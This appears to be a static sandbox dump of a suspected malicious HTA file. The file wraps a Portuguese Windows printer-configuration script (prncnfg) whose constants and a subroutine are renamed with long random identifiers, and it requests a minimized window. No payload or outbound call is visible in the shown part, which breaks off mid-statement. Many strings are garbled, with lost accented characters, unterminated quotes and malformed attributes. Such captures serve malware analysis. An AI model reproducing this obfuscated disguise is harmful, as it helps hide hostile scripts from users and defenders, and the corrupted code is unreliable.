Static | ZeroBOX

<html>

<head>

<hta:application

WINDOWSTATE="minimize">

id="app"

applicationname="Minha aplica

border="thin"

caption="yes"

contextmenu="yes"

innerborder="no"

maximizebutton="yes"

minimizebutton="yes"

navigable="yes"

scroll="yes"

showintaskbar="yes"

singleinstance="yes"

sysmenu="yes"

version="1.0"

windowstate="normal"

></hta:application>

On Error Resume Next

function RemoveBackslashes(strServer)

dim strRet

strRet = strServer

if Left(strServer, 2) = "\\" and Len(strServer) > 2 then

strRet = Mid(strServer, 3)

end if

RemoveBackslashes = strRet

end function

const ISMKBOlXznDctniUDEgFSLqQUODfkOqtrRAPiQbZBUQzxDQKraRLRwyTcTbeLKhDcaLspJrQPBQvktwcQnLOLZiKNBJhYBaWhGvYPbvRNbsxqGFJDJCgBopmjzCCFCfejmuAlVLJsABFCZovOheazXEXxXnmNOmIeMYUlGdYEySZmjhLuXpBJHRfLoGcJydoREFKybuy = 1

const kDebugError = 2

dim gDebugFlag

gDebugFlag = false

const kFlagUpdateOnly = 1

const kActionUnknown = 0

const kActionSet = 1

const kActionGet = 2

const kActionRename = 3

const prWQZWcWZmuxTjgnehdNSicGPPrcbObuVTYZdEQDsHzeUqncxuMEHpPzhFllVKOKfFnBcsFvskKNNhPviCUGZscWnoxcrFucCyTAQNpzWQjBZSbLKkFfPCkIexHURdrKUMOdBkAAwMPtTRplSxsCskrzNSxOsGYNBNMByloqKEZikFapGTAvISuhnTiLWRXNjOfEOycT = 0

const qSyyOfYspEghYkxAKESoSsIQZQIOvZMPXuoXvdcacQtyROXWDkHuegfUiCSjzcSvZlpoIqrWnzgREKuyboPHpcdhxSOFcJFlaUwBKEJfcrVbOIxNkTTSJPXdWcIZZjckSzFXdYIcxQAHJcbkaPVYuFEsRxxHhsbqUJExgkzCyhZxaAKRtJFcsRvoPoRGGaUkgxtPSTva = 1

const kServerName = 1

const kPrinterName = 2

const kNewPrinterName = 3

const kShareName = 4

const kPortName = 5

const kDriverName = 6

const kComment = 7

const kLocation = 8

const kSepFile = 9

const kPrintProc = 10

const kDataType = 11

const kParameters = 12

const kPriority = 13

const kDefaultPriority = 14

const kStartTime = 15

const kUntilTime = 16

const kQueued = 17

const kDirect = 18

const kDefault = 19

const kShared = 20

const kNetwork = 21

const kHidden = 23

const kLocal = 24

const kEnableDevq = 25

const kKeepPrintedJobs = 26

const kDoCompleteFirst = 27

const kWorkOffline = 28

const kEnableBidi = 29

const kRawOnly = 30

const kPublished = 31

const kUserName = 32

const kPassword = 33

const zNMKTfsepgddJetxvhqdcnASkeOlHUembSqEVummWIpeiLuNDjjcsHBnobijHqZgzKixJENXTaEdeHdaXbmgqjlsWPPkFuQYiOcYOQLCJTenhmuBZqJbgOJTUwNmOoTJhGoxDSiODUFvgVixaZXMPIHcBCOIlLWEFsHFYrgScrsisQqFFEZzgJkLOgNOnpVlmQGOPRfN = "root\cimv2"

const L_Empty_Text = ""

const rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs = " "

const cjzmPjhsmjHxCGjojbRvjzfffYVKZWqCeKrwDAAYUUZCJfDhwLfhkEFBgDStjEiJDLuGZRdxXGsenlojBgQYDKiTjvdoYgTOTmMqoQooVptXJEAimxtegHzrZksrSWQoveroQLFmJcHCizqxrDSSKImAnClOSfWqeuuTBrBDQGPGWkXgmMjAQuVLLKpHMwYhRRzVEPgk = "Erro"

const L_Success_Text = "

const L_Failed_Text = "Falha"

const ExObJTWAlsvABnotKukDQPBhoUrksgMONzkESbRdGhConfuRYQzMZGSEnUyJzLYOykgcdloXTFhmtowlweRpcsSdlTgiDuAALuhtUNCCUFfhiXWXwpyGhulanmHZqqYgjowCtobLANUindNQkQiVQgqNMEfSPbfCzdrckMqaLoWjOYJatrhrdhqvwlNvPgyggdZVbeQP = "0x"

const L_Printer_Text = "Impressora"

const L_Operation_Text = "Opera

const L_Provider_Text = "Provedor"

const L_Description_Text = "Descri

const L_Debug_Text = "Depurar:"

const L_Help_Help_General01_Text = "Uso: prncnfg [-gtx?] [-s servidor][-p impressora][-z novo nome de impressora]"

const L_Help_Help_General02_Text = " [-u RsMWlUmsnEFcVGbpfssSypCEWOSCpeDQvowEOKdCcsdHnaETafOKeQYulDNqNhCaMoXdpnuxztjeEuaRJzAPiOkpuCgSnEZTGKVzxKBrFBfYWSgrPILXIsWuuwgBKIzHJLhvejkeHtQueSBDgVGpBTRTeKRspqWsULYxEiaVkYtgQXJJKmYsGZPPBstgfLuyeeAwiSzS name][-w uOppQVZrGqiLzHPcYAKpOjaJatCGwtHxxIqTJLtzcBChXJfDWseftUbyPBlsdyBcbRDJgIdJLGkPVlPnjvayVPnWmvqNtkYZZHOejDrmwvcfJYIhnYUdpKycEoGFGXtjuJSYPGiiyfzNCvsatvfjsPWXrOpwwgPNaGunMZmOuCcERSMDveYVpKTEkFBvhCbUIVdYkZsH][-r port name][-l location]"

const L_Help_Help_General03_Text = " [-m comment][-h share name][-f sep file][-y datatype]"

const L_Help_Help_General04_Text = " [-st start time][-ut until time][-i default priority]"

const L_Help_Help_General05_Text = " [-o priority][<+|->shared][<+|->direct][<+|->hidden]"

const L_Help_Help_General06_Text = " [<+|->published][<+|->rawonly][<+|->queued][<+|->enablebidi]"

const L_Help_Help_General07_Text = " [<+|->keepprintedjobs][<+|->workoffline][<+|->enabledevq]"

const L_Help_Help_General08_Text = " [<+|->docompletefirst]"

const L_Help_Help_General09_Text = "Argumentos:"

const L_Help_Help_General10_Text = "-f - nome de arquivo separador"

const L_Help_Help_General11_Text = "-g - obter configura

const L_Help_Help_General12_Text = "-h - nome de compartilhamento"

const L_Help_Help_General13_Text = "-i - prioridade padr

const L_Help_Help_General14_Text = "-l - cadeia de caracteres de local"

const L_Help_Help_General15_Text = "-m - cadeia de caracteres de coment

const L_Help_Help_General16_Text = "-o - prioridade"

const L_Help_Help_General17_Text = "-p - nome da impressora"

const L_Help_Help_General18_Text = "-r - nome da porta"

const L_Help_Help_General19_Text = "-s - nome do servidor"

const L_Help_Help_General20_Text = "-st - hora de in

const L_Help_Help_General21_Text = "-t - definir configura

const L_Help_Help_General22_Text = "-u - nome do usu

const L_Help_Help_General23_Text = "-ut - at

a hora"

const L_Help_Help_General24_Text = "-w - senha"

const L_Help_Help_General25_Text = "-x - alterar nome da impressora"

const L_Help_Help_General26_Text = "-y - cadeia de caracteres de tipo de dados"

const L_Help_Help_General27_Text = "-z - novo nome de impressora"

const L_Help_Help_General28_Text = "-? - exibir uso do comando"

const L_Help_Help_General29_Text = "Exemplos:"

const L_Help_Help_General30_Text = "prncnfg -g -s server -p printer"

const L_Help_Help_General31_Text = "prncnfg -x -s server -p printer -z ""new printer"""

const L_Help_Help_General32_Text = "prncnfg -t -p impressora -l ""Pr

dio A/Andar 100/Escrit

rio 1"" -m ""Impressora em cores"""

const L_Help_Help_General33_Text = "prncnfg -t -p impressora -h ""Compartilhamento"" +shared -direct"

const L_Help_Help_General34_Text = "prncnfg -t -p printer +rawonly +keepprintedjobs"

const L_Help_Help_General35_Text = "prncnfg -t -p printer -st 2300 -ut 0215 -o 1 -i 5"

const L_Help_Help_Host01_Text = "Este script deve ser executado a partir do prompt de comando usando CScript.exe."

const L_Help_Help_Host02_Text = "Por exemplo: CScript script.vbs argumentos"

const L_Help_Help_Host03_Text = ""

const L_Help_Help_Host04_Text = "Para definir CScript como o aplicativo padr

o para a execu

o de arquivos .VBS, execute:"

const L_Help_Help_Host05_Text = " CScript //H:CScript //S"

const L_Help_Help_Host06_Text = "Voc

poder

em seguida executar ""script.vbs argumentos"" sem incluir CScript antes to script."

const L_Text_Error_General01_Text = "O host de script n

de ser determinado."

const L_Text_Error_General02_Text = "N

vel analisar a linha de comando."

const L_Text_Error_General03_Text = "C

digo de erro do Win32"

const L_Text_Msg_General01_Text = "Impressora renomeada"

const VMmNcqzXwgpOHHJJqyYuKRYtVZTwYOwKlAEtziTKtqLUujkoUWpDLEjSsfkFIPfmGqkcVSAoVcpxunUAqRViUbNeNVupbYbpJSeMjtqalYrTlIbdHqFHUegxBHqRlOWuvlgrUthlfRhNBwQMEBkXJEHqpvbnbWvqdmvfHQZYCOkyXQDNkxmttkeRhlyeUZDBuwOPNykF = "Nome da nova impressora"

const L_Text_Msg_General03_Text = "N

o foi poss

vel renomear a impressora"

const L_Text_Msg_General04_Text = "N

o foi poss

vel obter a configura

o da impressora"

const L_Text_Msg_General05_Text = "Impressora sempre dispon

const L_Text_Msg_General06_Text = "Impressora configurada"

const L_Text_Msg_General07_Text = "N

o foi poss

vel configurar a impressora"

const L_Text_Msg_General08_Text = "N

o foi poss

vel obter o objeto SWbemLocator"

const L_Text_Msg_General09_Text = "N

vel conectar-se ao servi

o WMI"

const L_Text_Msg_General10_Text = "Status da impressora"

const L_Text_Msg_General11_Text = "Status de impressora estendido"

const L_Text_Msg_General12_Text = "Estado de erro detectado"

const L_Text_Msg_General13_Text = "Estado de erro estendido detectado"

const JIDRMynNFmivtBppyLzkddfcylJAglBWgPSmGPRJZqcMbpMYZNAvEDmwJClvQkbUnnNERTbjaWFQJLGFkJaRCwDzIuktXDVceogMsdOxNZGolBggRXJVjZkPNnXkhkJkNtRcOZOlQbdhvAsnSdOQoWuCGJwxqnPRokupBBXDekKqbVtIMIXPRPtuShaJwOEpvndqaTHe = "Nome do servidor"

const pUjGqKgUTvZVPxZZKovlhMFuZoIqeJFtKNopmBpDemWybSOpjCHLKnTxhhHjElFHLoGOkPLwEcrGxyUxLXFqAYdAaICVIkcDMSTcfzINqJqcFwEDgKnuBeHwkyuUieVkSAyeQPjwwxBBrJkmIoNAobwpSExcCElQpPIewWKYvgoiXBWEHEhDhCcvhSzjAMRaCwDNuQLf = "Nome da impressora"

const L_Text_Msg_Printer03_Text = "Nome de compartilhamento"

const GmrQcBdKRpOwcsEhOknlFamqgtQxcrrpFExVCWQjCuWKruyMytSAbdYyGWuPPXRcyCFmUGYTwpQwywEcQgtzAcbESFJzJCbVxNYBqLnOLOSSojUHzVxmaKEVXdrekwSeYvHoycRuCJGcBnWYBEjzBRqetXlAOfDUYklAdDzQVqPUDyierVhkMLXIYlOWcKiGXCnbHXYC = "Nome do driver"

const tlTHGxWGZQOafJQrNpUDvHDLQYmzWaxtzsnhiiJsSWSvamFcQiHpwQksYxyXVwlNoNlXSPBIVGQCVRThrgHRxxsFqeWDEVOjVvTXrnpRVsKXsZGEKzpCTKPLmOwSyLgnIMivtHUyTQtLBXOfXAUnoyavIvDquTXgCDnrOgncMAsXJPWuMnoWioLjiNNnKkYGEMiVQGMt = "Nome da porta"

const L_Text_Msg_Printer06_Text = "Coment

const L_Text_Msg_Printer07_Text = "Local"

const L_Text_Msg_Printer08_Text = "Arquivo separador"

const L_Text_Msg_Printer09_Text = "Processador de impress

const L_Text_Msg_Printer10_Text = "Tipo de dados"

const L_Text_Msg_Printer11_Text = "Par

metros"

const L_Text_Msg_Printer12_Text = "Atributos"

const L_Text_Msg_Printer13_Text = "Prioridade"

const L_Text_Msg_Printer14_Text = "Prioridade padr

const L_Text_Msg_Printer15_Text = "Hora inicial"

const L_Text_Msg_Printer16_Text = "At

hora"

const L_Text_Msg_Printer17_Text = "Status"

const L_Text_Msg_Printer18_Text = "Contagem de trabalhos"

const L_Text_Msg_Printer19_Text = "M

dia de p

ginas por minuto"

const L_Text_Msg_Attrib01_Text = "direct"

const L_Text_Msg_Attrib02_Text = "raw_only"

const L_Text_Msg_Attrib03_Text = "local"

const L_Text_Msg_Attrib04_Text = "shared"

const L_Text_Msg_Attrib05_Text = "keep_printed_jobs"

const L_Text_Msg_Attrib06_Text = "published"

const L_Text_Msg_Attrib07_Text = "queued"

const L_Text_Msg_Attrib08_Text = "default"

const L_Text_Msg_Attrib09_Text = "network"

const L_Text_Msg_Attrib10_Text = "enable_bidi"

const L_Text_Msg_Attrib11_Text = "do_complete_first"

const L_Text_Msg_Attrib12_Text = "work_offline"

const L_Text_Msg_Attrib13_Text = "hidden"

const L_Text_Msg_Attrib14_Text = "enable_devq_print"

const L_Text_Msg_Status01_Text = "Outros"

const L_Text_Msg_Status02_Text = "Desconhecido"

const L_Text_Msg_Status03_Text = "Ocioso"

const L_Text_Msg_Status04_Text = "Imprimindo"

const L_Text_Msg_Status05_Text = "Em aquecimento"

const L_Text_Msg_Status06_Text = "Impress

o parada"

const L_Text_Msg_Status07_Text = "Offline"

const L_Text_Msg_Status08_Text = "Em pausa"

const L_Text_Msg_Status09_Text = "Erro"

const L_Text_Msg_Status10_Text = "Ocupada"

const L_Text_Msg_Status11_Text = "N

o dispon

const L_Text_Msg_Status12_Text = "Aguardando"

const L_Text_Msg_Status13_Text = "Processando"

const L_Text_Msg_Status14_Text = "Inicializando"

const L_Text_Msg_Status15_Text = "Economia de energia"

const L_Text_Msg_Status16_Text = "Exclus

o pendente"

const L_Text_Msg_Status17_Text = "E/S ativa"

const L_Text_Msg_Status18_Text = "Alimenta

o manual"

const L_Text_Msg_Status19_Text = "Sem erros"

const L_Text_Msg_Status20_Text = "Pouco papel"

const L_Text_Msg_Status21_Text = "Sem papel"

const L_Text_Msg_Status22_Text = "Toner baixo"

const L_Text_Msg_Status23_Text = "Sem toner"

const L_Text_Msg_Status24_Text = "Porta aberta"

const L_Text_Msg_Status25_Text = "Obstru

const L_Text_Msg_Status26_Text = "Servi

o solicitado"

const L_Text_Msg_Status27_Text = "Bandeja de sa

da cheia"

const L_Text_Msg_Status28_Text = "Problema no papel"

const L_Text_Msg_Status29_Text = "N

vel imprimir a p

const L_Text_Msg_Status30_Text = "Interven

o do usu

rio necess

const L_Text_Msg_Status31_Text = "Mem

ria insuficiente"

const L_Text_Msg_Status32_Text = "Servidor desconhecido"

const zTyxvtcKdfDKWsmUaDvShJrVQQtqzwUMsmdrbCUlsFREOPOEPvsdlsmcERWWqJfdbmayiXhyfZQkAFoQumcDhaGKcRncMXjGTyEWIBuesOOkXEGGqtEUnkSKvESNoketDEeslrlHwgBGktSpwZdkhrklPbnaVmDXfaIlFYLDlrvGIvbUsSpXkjOpMwtSRuVhNUQePlRV = "Na fun

o RenamePrinter"

const OfebasmmfAgaqAAHHKMshXErudtywauxjKIKIHAlpHBMMoycJBjlfproDHruzOniArnnteUqgToqhTCeoQhtRUIfMGTyIqZWkpfgnCUnwtSxEJYKMraxutLriqNdpnOsZtwrTHEpNeqWvFAzXJyyiPMJZOPpvZmIeEenqrLevMhkWXwDZeWwNkBNXXSQWuxuKjiyILPD = "Nome da nova impressora"

const L_Text_Dbg_Msg03_Text = "Na fun

o GetPrinter"

const L_Text_Dbg_Msg04_Text = "Na fun

o SetPrinter"

const L_Text_Dbg_Msg05_Text = "Na fun

o ParseCommandLine"

function DetectedErrorStateToString(Status)

dim str

str = L_Empty_Text

select case Status

case 0

str = str + L_Text_Msg_Status02_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 1

str = str + L_Text_Msg_Status01_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 2

case 3

str = str + L_Text_Msg_Status20_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 4

str = str + L_Text_Msg_Status21_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 5

str = str + L_Text_Msg_Status22_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 6

str = str + L_Text_Msg_Status23_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 7

str = str + L_Text_Msg_Status24_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 8

str = str + L_Text_Msg_Status25_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 9

str = str + L_Text_Msg_Status07_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 10

str = str + L_Text_Msg_Status26_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 11

str = str + L_Text_Msg_Status27_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

end select

DetectedErrorStateToString = str

end function

function ExtDetectedErrorStateToString(Status)

dim str

str = L_Empty_Text

select case Status

case 0

case 1

case 2

case 3

case 4

case 5

case 6

case 7

case 8

case 9

case 10

case 11

case 12

str = str + L_Text_Msg_Status28_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 13

str = str + L_Text_Msg_Status29_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 14

str = str + L_Text_Msg_Status30_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 15

str = str + L_Text_Msg_Status31_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 16

str = str + L_Text_Msg_Status32_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

end select

ExtDetectedErrorStateToString = str

end function

sub gRGuuKzcfxCcAlWOXTfeiFXfwBnMJMLtQxtSTXpOSihyvHjcllruJaGvRPgeyVDahMpuDkunMiGmPasIsVBtGKOcPzKrrGNMoxzFEBeYMyJHLKSpYurEJAQpcNhLLfaUPXiISucKnyFtdJfCSqyexYOiMjFFhLtwSeLrsoaCaiyaKioGQujxxlSQeyfLobMZSCMFBrNr(uFlags, strString)

if gDebugFlag = true then

if uFlags = ISMKBOlXznDctniUDEgFSLqQUODfkOqtrRAPiQbZBUQzxDQKraRLRwyTcTbeLKhDcaLspJrQPBQvktwcQnLOLZiKNBJhYBaWhGvYPbvRNbsxqGFJDJCgBopmjzCCFCfejmuAlVLJsABFCZovOheazXEXxXnmNOmIeMYUlGdYEySZmjhLuXpBJHRfLoGcJydoREFKybuy then

end if

if uFlags = kDebugError then

if Err <> 0 then

wscript.echo L_Debug_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & strString & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs _

& cjzmPjhsmjHxCGjojbRvjzfffYVKZWqCeKrwDAAYUUZCJfDhwLfhkEFBgDStjEiJDLuGZRdxXGsenlojBgQYDKiTjvdoYgTOTmMqoQooVptXJEAimxtegHzrZksrSWQoveroQLFmJcHCizqxrDSSKImAnClOSfWqeuuTBrBDQGPGWkXgmMjAQuVLLKpHMwYhRRzVEPgk & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ExObJTWAlsvABnotKukDQPBhoUrksgMONzkESbRdGhConfuRYQzMZGSEnUyJzLYOykgcdloXTFhmtowlweRpcsSdlTgiDuAALuhtUNCCUFfhiXWXwpyGhulanmHZqqYgjowCtobLANUindNQkQiVQgqNMEfSPbfCzdrckMqaLoWjOYJatrhrdhqvwlNvPgyggdZVbeQP & hex(Err.Number) _

end if

end sub

function ParseCommandLine(iAction, oParamdict)

on error resume next

dim oArgs

dim iIndex

iAction = kActionUnknown

iIndex = 0

set oArgs = wscript.Arguments

while iIndex < oArgs.Count

select case oArgs(iIndex)

case "-g"

iAction = kActionGet

case "-t"

iAction = kActionSet

case "-x"

iAction = kActionRename

case "-p"

iIndex = iIndex + 1

oParamdict.Add kPrinterName, oArgs(iIndex)

case "-s"

iIndex = iIndex + 1

oParamdict.Add kServerName, RemoveBackslashes(oArgs(iIndex))

case "-r"

iIndex = iIndex + 1

oParamdict.Add kPortName, oArgs(iIndex)

case "-h"

iIndex = iIndex + 1

oParamdict.Add kShareName, oArgs(iIndex)

case "-m"

iIndex = iIndex + 1

oParamdict.Add kComment, oArgs(iIndex)

case "-l"

iIndex = iIndex + 1

oParamdict.Add kLocation, oArgs(iIndex)

case "-y"

iIndex = iIndex + 1

oParamdict.Add kDataType, oArgs(iIndex)

case "-f"

iIndex = iIndex + 1

oParamdict.Add kSepFile, oArgs(iIndex)

case "-z"

iIndex = iIndex + 1

oParamdict.Add kNewPrinterName, oArgs(iIndex)

case "-u"

iIndex = iIndex + 1

oParamdict.Add kUserName, oArgs(iIndex)

case "-w"

iIndex = iIndex + 1

oParamdict.Add kPassword, oArgs(iIndex)

case "-st"

iIndex = iIndex + 1

oParamdict.Add kStartTime, "********" & oArgs(iIndex) & "00.000000+000"

case "-o"

iIndex = iIndex + 1

oParamdict.Add kPriority, oArgs(iIndex)

case "-i"

iIndex = iIndex + 1

oParamdict.Add kDefaultPriority, oArgs(iIndex)

case "-ut"

iIndex = iIndex + 1

oParamdict.Add kUntilTime, "********" & oArgs(iIndex) & "00.000000+000"

case "-queued"

oParamdict.Add kQueued, false

case "+queued"

oParamdict.Add kQueued, true

case "-direct"

oParamdict.Add kDirect, false

case "+direct"

oParamdict.Add kDirect, true

case "-shared"

oParamdict.Add kShared, false

case "+shared"

oParamdict.Add kShared, true

case "-hidden"

oParamdict.Add kHidden, false

case "+hidden"

oParamdict.Add kHidden, true

case "-enabledevq"

oParamdict.Add kEnabledevq, false

case "+enabledevq"

oParamdict.Add kEnabledevq, true

case "-keepprintedjobs"

oParamdict.Add kKeepprintedjobs, false

case "+keepprintedjobs"

oParamdict.Add kKeepprintedjobs, true

case "-docompletefirst"

oParamdict.Add kDocompletefirst, false

case "+docompletefirst"

oParamdict.Add kDocompletefirst, true

case "-workoffline"

oParamdict.Add kWorkoffline, false

case "+workoffline"

oParamdict.Add kWorkoffline, true

case "-enablebidi"

oParamdict.Add kEnablebidi, false

case "+enablebidi"

oParamdict.Add kEnablebidi, true

case "-rawonly"

oParamdict.Add kRawonly, false

case "+rawonly"

oParamdict.Add kRawonly, true

case "-published"

oParamdict.Add kPublished, false

case "+published"

oParamdict.Add kPublished, true

case "-?"

Usage(true)

exit function

case else

Usage(true)

exit function

end select

iIndex = iIndex + 1

wend

if Err = prWQZWcWZmuxTjgnehdNSicGPPrcbObuVTYZdEQDsHzeUqncxuMEHpPzhFllVKOKfFnBcsFvskKNNhPviCUGZscWnoxcrFucCyTAQNpzWQjBZSbLKkFfPCkIexHURdrKUMOdBkAAwMPtTRplSxsCskrzNSxOsGYNBNMByloqKEZikFapGTAvISuhnTiLWRXNjOfEOycT then

ParseCommandLine = prWQZWcWZmuxTjgnehdNSicGPPrcbObuVTYZdEQDsHzeUqncxuMEHpPzhFllVKOKfFnBcsFvskKNNhPviCUGZscWnoxcrFucCyTAQNpzWQjBZSbLKkFfPCkIexHURdrKUMOdBkAAwMPtTRplSxsCskrzNSxOsGYNBNMByloqKEZikFapGTAvISuhnTiLWRXNjOfEOycT

else

wscript.echo L_Text_Error_General02_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & cjzmPjhsmjHxCGjojbRvjzfffYVKZWqCeKrwDAAYUUZCJfDhwLfhkEFBgDStjEiJDLuGZRdxXGsenlojBgQYDKiTjvdoYgTOTmMqoQooVptXJEAimxtegHzrZksrSWQoveroQLFmJcHCizqxrDSSKImAnClOSfWqeuuTBrBDQGPGWkXgmMjAQuVLLKpHMwYhRRzVEPgk & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs _

